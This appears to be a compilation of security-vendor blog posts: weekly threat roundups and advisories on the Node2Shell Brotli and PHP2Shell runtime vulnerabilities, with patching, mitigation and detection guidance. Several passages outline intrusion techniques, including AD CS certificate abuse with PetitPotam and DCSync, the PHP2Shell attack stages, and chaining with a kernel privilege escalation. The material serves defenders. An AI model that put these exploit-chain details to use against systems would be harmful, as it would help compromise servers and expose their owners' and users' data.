The Good | Global Authorities Dismantle Investment Scams & VasyGrek Infrastructure, Indict University System Hackers

Law enforcement in Europe, supported by Europol and Eurojust, arrested seven suspects and seized over 100 servers targeting a crime-as-a-service (CaaS) investment fraud infrastructure. Operating from Cyprus and Israel, an unnamed vendor supplied fraudulent trading websites to criminal call centers across Albania, Kosovo, North Macedonia, and more. 

Following a four-year investigation initiated after victims reported missing funds, investigators linked the infrastructure to fake foreign currency, stock, and cryptocurrency schemes affecting victims in at least 50 countries. Scammers used fake online account profits to coerce larger transfers before cutting contact, leaving victims unable to recover their funds.

In the U.S., a federal grand jury indicted two Canadian nationals, Ryan James Roach and Mathiew James Stubbings, for conspiring to breach multiple American universities to mine for cryptocurrency. Between June 2016 and December 2019, the co-conspirators deployed virtual private servers to infect academic networks across Massachusetts, New York, North Carolina, and Tennessee with malware. 

Once inside, the defendants stole user log-ins and data, deployed cryptocurrency mining software, and hijacked high-performance campus supercomputers to conduct unauthorized network vulnerability research. Both men face up to ten years in prison and $250,000 fines following formal extradition proceedings from Canada.

Russian law enforcement authorities arrested three suspected members of the VasyGrek threat group (aka Fluffy Wolf) and dismantled its operational infrastructure. Active since 2016, the financially-motivated group was known for targeting organizations across metallurgy, energy, healthcare, and finance sectors in Russia, Belarus, and Kazakhstan. 

Attackers would send phishing emails with malicious accounting attachments to drop remote access trojans and steal corporate funds. Police seized computer equipment and server assets after uncovering a broad network of fake financial domains, dark web remote administration tools, and Golang backdoors used to execute unauthorized commands.

The Bad | Impersonators Abuse Microsoft Teams and Active Directory Certificate Services

According to a new report, threat actors have been posing as IT help desk staff on Microsoft Teams to message and call corporate employees and leverage external support-themed tenants to trick users into handing over workstation access. 

Once connected, attackers instructed victims to launch Quick Assist, a built-in Windows remote-help tool, and read back connection codes to grant full remote desktop control. The intruders then dropped malicious software archives into Downloads folders, unpacking and executing payloads via portable Python, Bun, or Java runtimes disguised as legitimate Windows system updates.

After establishing initial persistence, the attackers abused weak configuration templates within Active Directory Certificate Services (AD CS) to request digital authentication certificates for privileged domain accounts. In one documented intrusion, threat actors exploited an ESC1 misconfiguration to obtain certificates for three highly privileged identities—access that persisted even after password resets or workstation wipes. The attacker used one of those certificates to compromise a domain controller, execute DCSync credential dumping, and exfiltrate internal corporate files to an external server via Rclone.

In a second intrusion, attackers targeted an ESC8 configuration by deploying the ‘PetitPotam’ technique to force a domain controller to authenticate against an attacker-controlled endpoint. The relayed NTLM authentication allowed the actors to request a certificate directly for the domain controller without credentials, securing a persistent Kerberos ticket-granting ticket. The customer isolated the affected workstation, and no further attack progression was observed.

Because these intrusions exploit misconfigured certificate enrollment policies rather than underlying software vulnerabilities, Microsoft advises organizations to confirm unexpected support requests via internal channels, enforce Extended Protection for Authentication on web enrollment endpoints, and audit certificate issuance rules.

The Ugly | Threat Actors Disrupt European Refrigeration Systems Across Retail and Healthcare Sectors

Threat actors have targeted internet-exposed refrigeration control systems across Europe this week, altering temperature settings and activating defrost cycles across facilities just three weeks after similar attacks on hundreds of refrigeration systems in French supermarkets.

So far, this second wave has impacted retail chains across Belgium, Estonia, Ireland, Luxembourg, the Netherlands, and Sweden. In several stores, attackers set cooling units to generate heat or raised temperature setpoints to 50°C. 

The activity extended into critical healthcare infrastructure when a cyberattack on refrigeration supplier Coolworld Rentals raised temperature thresholds at French Blood Establishment (EFS) cold-storage facilities managing vital blood supplies. However, automated monitoring alarms enabled staff to relocate stored blood products before any inventory was lost.

SentinelLABS’s breakdown notes that similar attacks targeted Israeli and Russian facilities in 2022, a Los Angeles meat processor in 2024, and U.S. military commissaries in August 2026. The intrusions primarily targeted commercial supervisory platforms, such as Danfoss AK-SM, AK-SC, and Copeland Dixell XWEB controllers, that centralize site cooling operations. 

At the time, ANSSI indicated that adversaries gained control by exploiting publicly accessible administration interfaces and weak default credentials rather than executing novel software zero-days.

While Russian-aligned hacktivist collectives including CARR, NoName057(16), and Z-Pentest claimed responsibility for specific disruptions, law enforcement authorities have not formally confirmed attribution. Opportunistic scanning against unhardened building management systems allows multiple threat groups to execute similar disruptions. 

To mitigate ongoing operational risks, government advisories from CERT-FR instruct operators to immediately disconnect exposed control panels from the public internet, restrict remote maintenance access to secure virtual private networks, enforce strong authentication controls, and replace legacy end-of-life hardware.

Watch the GBU Highlights

Executive Summary

On October 21, 2026, the Node.js project released security updates that fix CVE-2026-111497, an out-of-bounds write in the Brotli decoder bundled with the runtime. Vendors have labeled the vulnerability Node2Shell, Brotli2Shell, Broccoli2Shell, and HTTP2Shell, because the flaw sits in Google's Brotli library and reaches software well beyond Node.js. Any application that decompresses attacker-controlled data with a vulnerable Brotli library could be at risk. Google, as the CVE Numbering Authority, scored it 9.2 under CVSS v4.0, and Node.js rates it high.

CISA added CVE-2026-111497 to its Known Exploited Vulnerabilities (KEV) catalog on October 27, 2026, with a November 10, 2026 deadline for federal civilian agencies. The public telemetry we reviewed shows exploitation attempts against honeypot sensors, and researchers have demonstrated code execution in lab environments. As of October 29, 2026, we are not aware of a public report of a confirmed compromise of a production system.

This report details Node2Shell's mechanism, affected versions, and observed activity, and outlines how SentinelOne customers and partners can strengthen their defenses.

Key Highlights

• One flaw, many patches. Node.js, Google Brotli, Bun, .NET, Python, Envoy, Istio, and PHP for Windows each shipped their own fix. Updating one does not update the others.

• Attempts are confirmed. Production compromise is not. ELLIO and Previdian have each recorded an exploitation attempt against their honeypot sensors. Previdian notes that such observations do not show the target was vulnerable or that the attempt succeeded.

• A default Node.js server is not exposed by itself. Something must hand attacker-controlled Brotli data to the decoder. Node.js names direct node:zlib use. Express 5 request bodies and built-in fetch() responses reach the same decoder, and Imperva reproduced both in the lab.

• A failed exploit still costs you. The Node.js advisory lists a crash as an outcome, and Sysdig reports that crashes have been easy to reproduce. Repeated crashes are a denial of service against any service that decodes attacker-influenced Brotli.

• The fix was visible for nearly eight months before release. Google committed it on February 27, 2026, with no release and no advisory. End-of-life Node.js 20, 23, and 25 are not expected to receive a fix.

Organizations should take the following steps immediately:

• Upgrade Node.js to 22.23.4, 24.22.1, or 26.12.1, then restart processes and rebuild container images.

• Inventory every other runtime and library that embeds the Brotli decoder, and patch internet-facing services first.

• Where patching must wait, reject inbound requests that carry Content-Encoding: br at the proxy or load balancer.

What is Node2Shell

Node2Shell is a memory corruption flaw in the Brotli decoder, the code that expands Brotli-compressed data. A Brotli stream signals switches between block types. When a stream declares only one block type, a switch is invalid and the decoder should reject it. The vulnerable decoder instead reported the invalid switch as a request for more input. The caller supplied more bytes, and the decoder kept appending them to an eight-byte internal buffer and wrote past its end, according to the Node.js advisory.

Node.js lists the outcomes as a crash, disclosure of process memory, or remote code execution, and the CVE record describes the attacker as unauthenticated. Imperva demonstrated code execution on the official Node.js 24.22.0 arm64 image. Microsoft describes the .NET impact as information disclosure, denial of service, or elevation of privilege.

Node2Shell at a Glance

How Attacker-Controlled Brotli Reaches the Decoder

Disclosure Timeline

Exploitation in the Wild

Exploitation attempts have been recorded, but a successful attack on a production system has not been publicly reported as of October 29, 2026. CISA added CVE-2026-111497 to its KEV catalog on October 27, 2026, with a November 10, 2026 deadline for federal civilian agencies under BOD 26-04.

The public telemetry comes from honeypots. Two threat intelligence providers each recorded an attempt: ELLIO saw a request built for Node.js 24.22.0 on x86-64 on October 26, and Previdian saw one from a U.S.-based address on October 27. Previdian notes that such observations do not show the target was vulnerable or that the attempt succeeded.

Researchers have reproduced code execution only in lab testing. Imperva ran code on the official Node.js 24.22.0 arm64 image through fetch() and Express 5 request bodies, needed multiple attempts, and did not test every Node.js build. Public proof-of-concept code appeared within hours of the October 21 release, according to Sysdig, so organizations should expect further attempts, particularly against internet-facing Express 5 services.

Observed Indicators

Patch Status

Node.js has fixed every supported release line: 22.x, 24.x, and 26.x. It will not patch end-of-life lines, which the project says are always affected when a security release occurs. Organizations running Node.js 20, 23, or 25 have no patch to apply and must upgrade to a supported line.

Recommended Mitigations

Patch, Restart, and Rebuild

• Upgrade to a fixed Node.js release, update every Dockerfile that pins an older tag, and restart or redeploy every workload.
• Confirm patch status from the Node.js release version running in each workload, not a bundled library version string, which may not reflect a backported fix.

Find Every Copy of the Decoder

• Inventory Bun, .NET, Python Brotli, Envoy, Istio, PHP for Windows, and statically built executables, including staging, CI, build images, and developer machines.
• Where Node.js links the system Brotli library, as it does on Debian, check your distribution’s advisory for the Node.js package as well as brotli. Debian’s tracker lists both.
• PHP for Windows fixed the flaw with rebuilt packages that keep the same PHP version number, so php -v looks the same before and after. Check the -1 build suffix or the SHA-256 on the download page.
• Move off Node.js 20, 23, and 25 on a defined date.

Reduce Exposure Until Patching Finishes

• Reject requests with Content-Encoding: br at the WAF or proxy, or set the body-parser inflate option to false so compressed bodies return HTTP 415. The second option also rejects gzip and deflate bodies, so test client traffic first.
• Restrict server-side fetches to trusted destinations. Link previews, webhooks, and crawlers send attacker-influenced URLs into fetch(), and removing br from Accept-Encoding does not stop a hostile server from replying with Brotli.
• Enable a vendor WAF rule as a stopgap where one exists. It does not replace the upgrade.

Limit the Blast Radius

• Run Node.js services as a non-root user and limit outbound connections from Node.js hosts. Docker runs containers as root by default, and the official node image provides a node user (uid 1000) that you must select with USER or -u.

Watch for Failed Attempts

• Alert on repeated worker crashes after requests with Content-Encoding: br. Where core dumps are enabled, restrict who can read them and shorten retention, because a core file can hold memory contents from other users’ sessions.

How SentinelOne Protects You

Node2Shell exploits the Brotli decoder inside the Node.js process. Patching Node.js and every other copy of the Brotli decoder remains the primary control. SentinelOne provides detection and visibility into post-exploitation behavior while that work is underway.

The Singularity agent builds a storyline of process activity on a host, including the Node.js services targeted by Node2Shell. These processes have a predictable life: they answer requests, call APIs, and read files. They do not normally start /bin/sh, run reconnaissance commands, download executables into /tmp, or open connections to arbitrary hosts. Behavioral detection looks for that deviation from normal behavior. 

Detection in Singularity AI SIEM

Platform detection content looks at what happens on the host after exploitation, not at the request body. 

Correlation rules tie these together. A request to the service, or an outbound fetch to an untrusted host, followed by a process spawn or file drop from the same Node.js process is the shape of a successful chain. 

Visibility at the Edge

Sysdig reports that the crash is easy to reproduce, which makes repeated worker crashes and restarts a useful early signal. Web server, WAF, and CDN logs may show requests with Content-Encoding: br followed by bursts of HTTP 5xx responses and unexplained worker restarts. Singularity AI SIEM can ingest those sources alongside endpoint data if you forward them. 

Hunt with Purple AI While You Patch

Patching is the only complete fix. While that work runs, analysts can ask Purple AI questions such as:

• Show me shell processes whose parent or prior image was node, nodejs, or bun since October 21.
• Show me new executable files written by the Node.js service account since October 21.
• Show me outbound connections from the Node.js service account to destinations we have never seen.
• Show me hosts with a spike in 500 responses followed by a Node.js process restart.

The last question depends on web server logs being ingested. 

Confirm Agent Saturation on Node.js Hosts

Confirm the agent is deployed, healthy, and in protect mode on every server and container host that runs Node.js, Bun, or another service that decompresses Brotli. Start with internet-facing Express 5 services and services that fetch external URLs.

Disclaimer

Information contained herein is current as of October 29, 2026, and is subject to change as patch releases and threat activity evolve. Recipients should not rely solely on this report for security decisions and should consult with their security teams and SentinelOne account representatives for current guidance.

The Good | Global Response Continues for PHP2SHELL Exploit Attempts & Defenders Dismantle Global Cybercrime Rings

This past week, cyber defenders responded to a cluster of vulnerability disclosures and security incidents collectively dubbed “Black October,” spanning flaws in PHP2SHELL, Node.js, GitLab, and Brotli, a software supply chain attack in LiteLLM, and compromised certificate authority keys at eMudhra.

Despite PHP2SHELL affecting roughly 70% of websites worldwide, mass, internet-wide exploitation of the kind seen with Log4SHELL hasn’t materialized. PHP2SHELL lacks a universal offset, since heap layouts, memory alignments, and worker states differ by PHP version, build, and SAPI configuration, and attackers must craft specific request streams to line up memory blocks before triggering the underlying out-of-memory error.

That complexity hasn’t stopped targeted compromises against systems, but it has kept broad, automated attacks from succeeding at scale. CISA added both PHP2SHELL CVEs to its Known Exploited Vulnerabilities catalog, with a remediation deadline of October 29 for federal agencies.

International law enforcement this week also delivered major blows against cybercrime syndicates. Authorities extradited Chinese national Zheng Zhao from the Netherlands to California over an alleged multimillion-dollar cryptocurrency investment scheme that defrauded 174 American victims through fake trading platforms. 

A U.S. federal court sentenced Ukrainian national Artem Stryzhak to 70 months in prison for conspiring to deploy Nefilim and Hive ransomware against hospitals, law firms, and other targets. 

Finally, an international law enforcement coalition seized the domain of Virtualine, a “bulletproof” hosting provider that marketed itself to criminals for “all illegal/black hat activities”. Court records tie the seizure to Virtualine hosting child sexual abuse material (CSAM) and non-consensual intimate imagery despite repeated takedown notices, plus money laundering that concealed the proceeds. Virtualine had also offered to quietly migrate a customer’s infrastructure to a shell company after law enforcement made contact.

The Bad | Threat Actors Chain Fragnesia Linux Flaw with PHP2SHELL to Root PAN-OS Firewalls

As part of Black October, researchers are warning that a high-severity Linux kernel privilege escalation flaw is being actively chained with the PHP2SHELL vulnerabilities. Tracked as CVE-2026-46300 and dubbed “Fragnesia,” the flaw stems from a logic defect in the Linux XFRM ESP-in-TCP subsystem that leaves stale page-cache writes exploitable for root access. Public proof-of-concept exploits allow local attackers to execute arbitrary code with root permissions on major Linux distributions running kernels released before May 13, 2026.

In response to active in-the-wild exploitation, CISA added Fragnesia to the KEV Catalog and mandated federal agencies patch affected systems under Binding Operational Directive 26-04, noting that threat actors are pairing it with the PHP2SHELL RCE flaws: exploiting PHP2SHELL first to implant a web shell, then using Fragnesia to escalate from that shell to full root control.

Security researchers uncovered a complete attack operation featuring custom weaponized exploit chains, target lists, detailed activity logs, and roughly 40 custom post-exploitation scripts. The campaign successfully rooted 25 PAN-OS firewall and management servers, whose web interface runs on PHP, across the United States, Japan, Taiwan, and South Korea, including three systems in a U.S. government-affiliated environment.

Chaining an unauthenticated web flaw with a local kernel privilege escalation means patching either one alone isn’t enough. Closing the web shell’s entry point still leaves the root escalation path open on any system running a vulnerable kernel.

The Ugly | Silent Fix for Brotli Decoder Exposes Node2Shell Vulnerability

Security researchers uncovered a critical memory corruption vulnerability in the open-source Brotli compression decoder used across much of the web. Tracked as CVE-2026-111497 with a CVSS score of 9.2, the flaw, variously named Node2Shell, HTTP2Shell, and Broccoli2Shell by the researchers who worked on it, stems from an out-of-bounds write when handling invalid stream block switches during decompression. It affects Brotli versions 1.0.3 through 1.2.0, reaching major language runtimes and web frameworks including Node.js, Python, and .NET.

The flaw’s timeline stretches back further than its public disclosure. Upstream developers quietly fixed the underlying code on February 27 without a security advisory or CVE, and the vulnerability wasn’t publicly identified until a researcher team reported it in October. 

Coordinated disclosure landed October 21, and fixes followed in waves: Python’s package registry shipped updates October 22 and 23, a Ruby gem update followed October 24, and .NET received an out-of-band patch on October 25, the same day researchers demonstrated working code execution on x86-64 against Node.js. Separate research into FFmpeg the same day produced a reproducible crash rather than confirmed code execution. Edge and hosting providers rolled out interim firewall mitigations within hours of the initial disclosure.

CISA added CVE-2026-111497 to its KEV catalog on October 27, requiring federal remediation by November 10. Because proxy-level filtering doesn’t protect outbound client requests or file-based attack paths, closing this gap means upgrading the underlying Brotli library and rebuilding affected applications, not just patching at the network edge.

Watch the GBU Highlights

The Good | Courts Sentence Tax Fraudster, Interpol Disrupts African Cybercrime, and Ex-AI Engineer Faces Wiretapping Charges

A U.S. district court has sentenced Nigerian national Chukwuemeka Victor Amachukwu to eight years in prison for conducting spearphishing attacks against tax preparation firms. Following his extradition, Amachukwu has pleaded guilty to computer intrusion and wire fraud charges.

Between 2019 and 2021, he and his co-conspirators breached accounting networks across multiple U.S. states, compromising the tax and personally identifiable information (PII) of at least 800 clients. They also filed fraudulent tax returns and disaster loan applications, stealing over $3.3 million. The court sentenced Amachukwu to one year of supervised release and ordered him to pay $3.6 million in restitution and forfeit nearly $11 million.

Also this week, Interpol coordinated Operation Serengeti III alongside 21 countries and private-sector partners to disrupt cybercrime networks across Africa, with crimes ranging from business email compromise (BEC) to various scams. 

Executed between June and August 2026, the joint crackdown resulted in 1,462 arrests, the dismantling of 10,909 malicious infrastructures, and the recovery of more than $105 million in illicit proceeds. In total, the investigation identified 65,929 victims with losses estimated to be over $385 million. 

Finally, a U.S. judge has ordered the detention of former OpenAI engineer Abdulrahman Alfozan for alleged corporate espionage at the company's San Francisco office. Prosecutors revealed that the Saudi national installed customized, encrypted audio recording devices in executive conference rooms in hopes of capturing sensitive corporate conversations. 

Investigation filings exposed frequent encrypted communications between Alfozan and a Saudi Royal Family member, seeking to recruit him for a state AI initiative. Federal agents arrested Alfozan just days prior to his scheduled one-way flight to Saudi Arabia and now he faces a maximum of five years in prison if convicted.

The Bad | China-Linked Actor Deploys Agentic AI in Cloud Supply Chain Attacks

A suspected Chinese-state aligned threat actor has leveraged an agentic AI framework to execute a supply chain compromise against ConnectWise Cloud Backup, automating attacks across hundreds of global organizations. 

Active since at least 2021 and historically reliant on botnet infrastructure for evasive password spraying, the group was seen using ARTEX, a Go-based, multi-agent LLM penetration testing system, to conduct offensive operations at machine speed. By deploying AI agents configured to work around the clock, the threat actors drastically reduced the time from initial targeting to achieving privileged cloud access to under three hours in multiple targeted environments.

The actor leveraged ARTEX to automate scanning, reconnaissance, password spraying, and OAuth application abuse across a broad range of sectors, including aerospace, defense, energy, financial services, government, and technology. 

Between October 10 and October 14, 2026, the attackers launched an automated cross-tenant password-spray campaign from dedicated infrastructure, generating over 151,000 failed logon events that peaked on October 11 at 2,900 failures per minute. Then on October 15, the AI agents acquired control of identities associated with multiple ConnectWise cloud applications, using pre-granted permissions to authenticate to downstream Microsoft 365 customer environments without requiring interactive user logins.

Once authenticated, the agents ran Microsoft Graph operations to perform directory reconnaissance, alter privileged roles, and modify application credentials. By adding unauthorized credentials to existing OAuth applications, the AI agents established persistent backdoors that remain active even after remediating the primary backup software. 

The campaign saw ARTEX attempt sign-ins across more than 2,250 tenants, narrowing the response window. In response to the intrusion, ConnectWise has temporarily suspended services to isolate infrastructure and implement containment measures.

The Ugly | PHP Drops Urgent Fixes for 'PHP2Shell' RCE Flaws Targeted Before Disclosure

Emergency security updates came from the PHP security team this week to patch two critical remote code execution (RCE) vulnerabilities, collectively tracked as “PHP2Shell”, that affect core PHP runtimes across enterprise web servers. Rated CVSS 9.2 and identified as CVE-2026-109618 and CVE-2026-109619, the flaws stem from memory management and error handling defects when requests terminate unexpectedly. 

The vulnerabilities impact all PHP installations serving web traffic, including Apache with mod_php, PHP-FPM, and php-cgi, as well as FrankenPHP and LiteSpeed. Risk is particularly severe on mod_php servers, where unauthenticated requests trigger memory corruption before any application code executes, rendering content management system security controls ineffective against initial exploitation.

The emergency releases (PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35) followed advance warnings triggered when technical details leaked online prior to coordinated disclosure. Amazon Threat Intelligence detected exploitation probes targeting honeypots beginning October 17, four days before official patches were published. The early probe activity indicates that threat actors acquired vulnerability details while the security flaws remained under embargo. 

The underlying weakness had gone unresolved for two years: a 2024 audit flagged the same out-of-memory condition but couldn’t prove it was exploitable. AI-assisted auditing under OpenAI’s “Patch the Planet” program changed that, turning the long-standing weakness into confirmed working remote code execution.

PHP states that applying runtime updates is the only complete fix. Interim configurations, such as disabling session upload progress or restricting memory limits, only partially close specific attack paths.

While patching remains the primary control, SentinelOne Singularity agents detect post-exploitation behavior at the operating system level, identifying when web worker processes spawn system shells, write web shells into document roots, or initiate unauthorized outbound network connections.

Executive Summary

On October 21, 2026, the PHP project released versions 8.5.12, 8.4.27, 8.3.36, and 8.2.35 to fix two critical vulnerabilities, CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. The two flaws are known together as PHP2Shell. They were disclosed by the security firms Calif and Wiz and by OpenAI, working with the PHP security team, after AI-assisted auditing turned an out-of-memory weakness that a 2024 audit had flagged but could not prove exploitable into working remote code execution.

Both vulnerabilities sit in PHP's memory management and error handling, code that nearly every request touches, and the earliest affected path dates to PHP 5.4.0. An unauthenticated attacker can execute code on the web server or read its process memory, including passwords, tokens, and API keys belonging to other requests. On Apache with mod_php, the attack runs before any application code executes, which means an application with no bugs of its own is still exposed. As of October 21, 2026, no verified proof-of-concept code is available publicly. Attack attempts have been observed by Cloudflare after the leak, but no confirmed in-the-wild compromise has yet been reported.

While upgrading every PHP runtime remains the primary control, SentinelOne agent detects attackers’ post-exploitation activities. Once an attacker has code execution on the web server process, the behavior that follows web server flaws: execute shell commands, drop and invoke webshells, download and execute custom payloads and outbound connections. On managed hosts, the Singularity™ agent and Singularity AI SIEM detection content look for such behaviors, and Purple AI® can be used to hunt for it during the patching window. The separate memory-disclosure path runs no code on the host, so it leaves no process behavior to detect; that path is instead surfaced through web server, WAF, and CDN telemetry forwarded into AI SIEM.

This report details PHP2Shell's mechanism, affected versions, and confirmed activity, and outlines how SentinelOne customers can strengthen their defenses.

Key Highlights

• The flaw is in PHP itself, not in any application. WordPress, Drupal, Joomla, Magento, Laravel, and other web applications are all exposed on an affected PHP version, because the vulnerable code is in the runtime beneath them.
• The patch is the only complete fix. PHP states plainly that no configuration change fully closes the vulnerability. Every interim mitigation reduces one attack path and leaves others open.
• The unauthenticated path runs before your code does. On Apache with mod_php, a single crafted HTTP request triggers the flaw during request startup, so application-level controls never see it. PHP assesses the risk as highest for mod_php.
• Memory disclosure leaks secrets without a shell. One path reads live worker memory and returns passwords, tokens, API keys, and certificates with no code execution, which makes it quieter than a shell and harder to catch with execution-focused tooling.
• End of Life PHP will not get a patch. Organizations running PHP 8.1 and prior will not receive an official release. Source-only backports exist for 7.4, 8.0, and 8.1, and distribution or LTS vendors may offer fixed packages.
• Leverage SentinelOne platform post-exploitation coverage. The detection by the agent is agnostic to the vulnerability and exploit chain and focuses on attackers activity following the exploit, including but not limited to, installation and usage of webshells, command executions and outbound connection behavior that follows the code execution.

Organizations should take the following steps immediately:

• Update every PHP runtime to a fixed version and restart Apache, PHP-FPM, and any long-running workers.
• Inventory internet-facing PHP, including the copies bundled inside appliances, control panels, and vendor software.
• Isolate end-of-life PHP (8.1 and older) from the internet until it can be upgraded.
• Rotate credentials, tokens, and keys that a PHP worker could hold in memory on any exposed, unpatched system.
• Monitor the official PHP changelog for relevant updates

What is PHP2SHELL

PHP2Shell is a family of memory-safety vulnerabilities in core PHP, grouped under two CVEs that share one root cause. When PHP hits a fatal condition such as exhausting its configured memory limit, it does not unwind cleanly. It abandons the current operation with a “longjmp” out of the C call stack, so no cleanup runs and nothing records that a data structure was left half-built. A later cleanup routine, or a later request, then trusts that state.

CVE-2026-109618 is the out-of-memory case. PHP marks request data as valid before allocating memory for it. If that allocation hits the memory limit and fails, the entry is left pointing to uninitialized heap memory. When the failed request runs its cleanup routine, it processes these stale bytes, leading to corruption.. 

CVE-2026-109619 is the stale-state case. When a fatal error occurs, PHP fails to clean up properly, leaving a global pointer pointing to memory that has already been freed. Because worker processes handle multiple requests, a subsequent request on the same worker can interact with this freed memory before initialization resets it – resulting in a use-after-free condition. Session upload progress (enabled by default) is a confirmed trigger for this behavior.

Both flaws were discovered through AI-assisted auditing under OpenAI's “Patch the Planet” program. Calif and OpenAI independently reported the root cause to the PHP security team on August 11, 2026, and Wiz reported additional attack vectors on August 24, 2026. PHP first saw signs of the underlying out-of-memory problem during a 2024 audit by OSTIF and Quarkslab, but no exploitation path was proven at the time and the fix stalled. The PHP Foundation has since described that delay as a structural failure in its security process.

On October 20, the two CVE identifiers leaked on social media. PHP released a patch on October 21, 2026.

PHP2SHELL at a Glance

Affected and Fixed PHP Versions

Affected and Fixed PHP Versions

Am I Affected?

Assume exposure for any PHP runtime below the fixed version for its branch. Check the version the web server actually loads, which can differ from the command-line version, using php --version for the CLI and the equivalent for PHP-FPM or the Apache module. Linux distributions and LTS vendors received the patch in advance, and a packaged build may carry the fix under an older version number, so confirm against your vendor's advisory rather than the version string alone.

PHP states that all installations serving web requests are at risk, including PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP, and LiteSpeed, and rates the risk highest for mod_php. Do not use configuration to rule out exposure. PHP validated mod_php code execution with default input and memory limits, and states that no configuration change is a complete mitigation. OpenAI has published a PHP version checker, which should be reviewed before you run it.

How The Two CVEs Differ

Why This Matters

A flaw in PHP itself reaches far further than a flaw in any one application. PHP is widely used across the internet, and it is embedded in content management systems, control panels such as cPanel and Plesk, and a variety of vendor applications. The hard part of this response is not applying the patch. It is finding every runtime that needs it.

The patch is also the only complete fix, and a large share of PHP cannot receive it. PHP 8.1 and older are at end of life, and Talos estimates from open-source data that around half of internet-facing PHP runs on branches with no official update. Those systems need to be upgraded to a supported branch or taken off the internet, not merely reconfigured.

Exploitation is also hard to see. The memory-disclosure path returns secrets from live worker memory without running code at all, which Wiz notes makes it harder to catch with tools focused on malicious code execution. Because the flaws execute below the application layer, Wiz also reports that application logs may contain little context, and the clearest traces are in web server and PHP error logs rather than in application telemetry.

Attack Chain

Stage 1: Reaching the Flaw Over an Unauthenticated Request

The attacker sends a crafted multipart HTTP request that places PHP's memory under pressure or forces a fatal error during request startup. A chunked or lengthless request slips past the post_max_size check, and empty file controls with deeply nested field names expand a small request body into large internal allocations.

Stage 2: Corrupting Worker State

The forced out-of-memory condition or fatal error interrupts PHP in a context that does not account for the early exit. For CVE-2026-109618, Apache with mod_php runs its request shutdown unconditionally and processes the partially initialized state as if it were valid. For CVE-2026-109619, a global pointer is left referring to freed request memory, and a later request on the same worker consumes it.

Stage 3: Code Execution or Memory Disclosure

With the heap arranged to reclaim the freed or invalid memory with attacker-controlled bytes, the corrupted state becomes a memory-corruption primitive that yields code execution as the web worker. PHP confirmed complete remote code execution against mod_php with default input and memory limits. On a separate path, the attacker instead reads live worker memory and extracts passwords, tokens, API keys, and certificates belonging to other requests, returned through the PHPSESSID response cookie, with no code execution at all.

Stage 4: Post-Exploitation

Code runs with the privileges of the web server worker, commonly www-data. From there, operators drop a web shell into the web root, spawn shells and tooling such as sh, bash, python, curl, and wget, and move laterally using any credentials recovered through memory disclosure.

Hardening Recommendations

These steps apply to any PHP estate, independent of security vendor. Patching is the only complete remediation. Everything else reduces exposure during the window before every runtime is updated.

Patch Every PHP Runtime and Restart Workers

• Update to PHP 8.5.12, 8.4.27, 8.3.36, or 8.2.35, or to the fixed package from your Linux distribution or hosting provider.
• Restart Apache, PHP-FPM, and every long-running PHP worker after updating. The running process keeps the vulnerable code until it is restarted.
• Remember that updating an application, CMS, or framework does not update the PHP runtime beneath it.

Assess Your Exposure

• Inventory every PHP runtime: web servers first, then vendor appliances, Windows software that bundles php.exe or php-cgi.exe, control panels such as cPanel and Plesk, and any WordPress, Drupal, Joomla, or Magento install.
• Isolate end-of-life PHP (8.1 and older) behind a VPN or take it off the internet until it is upgraded to a supported branch.

Apply Interim Settings Only as a Bridge

• For CVE-2026-109618, set memory_limit=-1 administratively so applications cannot override it, and keep post_max_size low. Do not substitute RLIMIT_AS or RLIMIT_DATA, which can trigger the vulnerable path.
• For CVE-2026-109619, set session.upload_progress.enabled=0, and on PHP 8.5 set fatal_error_backtraces=0, applied before request parsing and followed by a worker restart.
• Treat all of these as partial. PHP confirms there is no complete configuration mitigation, and hiding diagnostics with error_reporting, display_errors, or the @ operator does not help.

Constrain the Request at the Edge

• At the proxy or web application firewall, enforce limits on decoded request size, input field count, multipart part count, header count per part, and nesting depth, including requests that arrive without a usable Content-Length.
• Enable your WAF or reverse proxy vendor's managed rules for PHP2Shell, which several vendors published on October 21, and test first because rules can block legitimate traffic.
• Treat the WAF as a layer, not a fix: Cloudflare saw attackers mutating payloads to bypass its rules.
• If an application does not use multipart form data, block multipart requests to it before they reach PHP.

Limit Worker Reuse and Blast Radius

• Lower PHP-FPM pm.max_requests so workers recycle more often, reducing how long the corrupted state can persist.
• Use a cgroup memory.max as an availability boundary that kills only the affected worker, not the whole pool.
• Apply SELinux or AppArmor policies to restrict what a web worker can execute.

Rotate Secrets Reachable in Process Memory

• Assume any credential, session token, API key, or certificate held by a PHP worker on an exposed, unpatched system may have been disclosed.
• Rotate them now rather than after confirmed compromise, because memory disclosure leaves little trace.

Hunt for Post-Exploitation

• Review the web root for newly created files and web shells, and watch for new cron jobs, scheduled tasks, and accounts.
• Alert on PHP worker processes (php-fpm, php-cgi, httpd, apache2, w3wp) spawning shells, interpreters, or download tools, including cmd.exe and powershell.exe on Windows.
• In web server and PHP error logs, look for unusual multipart requests followed by memory-limit fatal errors or repeated HTTP 500 responses, and for unexplained PHP worker churn (Wiz).
• Check response headers for unexpectedly large or malformed PHPSESSID cookies, which Wiz identifies as a sign of the memory-disclosure path.
• Enable log_errors, a working error_log, and error_reporting=E_ALL in startup configuration for an isolated audit, as PHP recommends, and treat a clean log as supporting evidence rather than proof of safety.
• Treat these signals as leads, not verdicts. They come from public research rather than confirmed attack traffic, and memory-limit errors and HTTP 500s also occur on healthy systems.

How SentinelOne Protects You

PHP2Shell executes inside the web server worker process, below the application. SentinelOne’s visibility begins where that worker runs on a host with the agent installed. The agent cannot see internal application activity which doesn’t interact with the OS or other processes as the memory-disclosure path. What SentinelOne can address is the behavior of the code executed by the attacker.

The Behavior After Exploitation

Code execution through a web server worker process has the worker’s privileges. From there the sequence is familiar. The attacker runs host and user discovery, pulls a second-stage payload with a built-in download utility, writes a web shell into the document root so a fragile memory bug does not have to be triggered twice, opens an outbound connection to attacker infrastructure, and reads application configuration files for database credentials.

Detection on the Host

The Singularity agent builds a storyline of every process group activity on a host, including the web server workers PHP2Shell targets. These workers have a predictable life: they answer HTTP requests. They do not normally start /bin/sh, run reconnaissance commands, download executables into /tmp, write new .php files into the web root, or open outbound connections to arbitrary hosts. Behavioral detection looks for that deviation from the worker’s normal behavior. With the policy mode set to protect, the agent can terminate the process tree and quarantine dropped artifacts. 

Detection in Singularity AI SIEM

Platform detection content looks at what happens on the host after exploitation, not at the request body.

Correlation rules tie these together. An inbound HTTP connection followed by a file drop or process spawn from the same worker is the shape of a successful PHP2Shell chain. 

Visibility at the Edge

